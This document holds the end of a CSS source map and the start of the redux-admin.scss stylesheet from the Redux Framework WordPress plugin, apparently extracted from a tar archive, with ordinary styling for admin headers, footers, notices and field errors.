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", "sources": ["redux-admin.scss"], "names": [], "file": "redux-admin.css" }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/redux-admin.scss���������������������������������������������������������0000644�����������������00000133112�14720701300�0015065 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.spinner { visibility: hidden; display: block; } .spinner.is-active{ visibility: visible; } .redux-main .description { margin-top: 7px; } .redux-container { .form-table > tbody > tr > th { width: 30% } .form-table th, .form-table td { margin: 0; padding: 0; width: auto; } .redux_field_th { font-weight: 600; // width: 30%; padding: 20px 10px 20px 0px; display: block; span:first-child { font-weight: normal; display: block; color: #666; } } #ui-datepicker-div { display: none; } //font-family: "Open Sans","Lucida Grande", Sans-serif; background-color: #f5f5f5; /* Old browsers */ background-repeat: repeat-x; /* Repeat the gradient */ background-image: -moz-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* FF3.6+ */ background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #f2f2f2), color-stop(100%, #f5f5f5)); /* Chrome,Safari4+ */ background-image: -webkit-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* Chrome 10+,Safari 5.1+ */ background-image: -ms-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* IE10+ */ background-image: -o-linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* Opera 11.10+ */ filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5', endColorstr='#eeeeee', GradientType=0); /* IE6-9 */ background-image: -linear-gradient(top, #f2f2f2 0%, #f5f5f5 100%); /* W3C */ border: 1px solid #dedede; -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04); box-shadow: 0 1px 1px rgba(0, 0, 0, .04); -moz-box-shadow: 0 1px 5px rgba(0, 0, 0, 0.4); margin-top: 5px; overflow: hidden; a { &:focus { box-shadow: none; } } #redux-header, #redux-footer { text-align: right; padding: 6px 10px; } #redux-header { background: #f1f1f1; border-bottom: 3px solid blue; .display_header { float: left; margin: 20px 10px; h2 { display: inline-block; font-style: normal; padding-right: 5px; } .redux-dev-mode-notice-container { position: absolute; top: 67px; left: 20px; bottom: auto; width: auto; } span { color: #888; &.redux-dev-mode-notice { //position: absolute; background-color: #f0ad4e; display: inline; padding: .2em .5em .2em; font-weight: 700; line-height: 1; color: #fff !important; text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: .25em; } } } .icon32 { float: right; margin: 16px 16px 0; } } #redux-footer { border-top: 1px solid #E7E7E7; z-index: 999; #redux-share { float: left; line-height: 28px; font-size: 15px; a { text-decoration: none; margin-right: 10px; img { margin-bottom: -3px; } } } } .notice-green { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #DFF0D8; color: #468847; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-blue { margin: 0; border-bottom: 1px solid #BCE8F1; background-color: #D9EDF7; color: #3A87AD; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-yellow { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #FCF8E3; color: #C09853; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .notice-red, .redux-field-errors { margin: 0; border-bottom: 1px solid #E7E7E7; background-color: #F2DEDE; color: #B94A48; padding: 8px 35px 8px 14px; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); } .redux-field-error { input, textarea, checkbox { background-color: #FFF6F6; color: #A00; } } .redux-field-warning { input, textarea, checkbox { background-color: #fcf8e3; color: #444; } } .redux-field-errors, .redux-field-warnings, .redux-save-warn { display: none; } .sticky-save-warn { min-height: 76px; .redux-save-warn { position: fixed; top: 32px; right: 21px; left: 183px; opacity: 1; z-index: 9999; } } #info_bar { background: #f3f3f3; border-bottom: 1px solid #dedede; padding: 6px 10px 6px 6px; text-align: right; 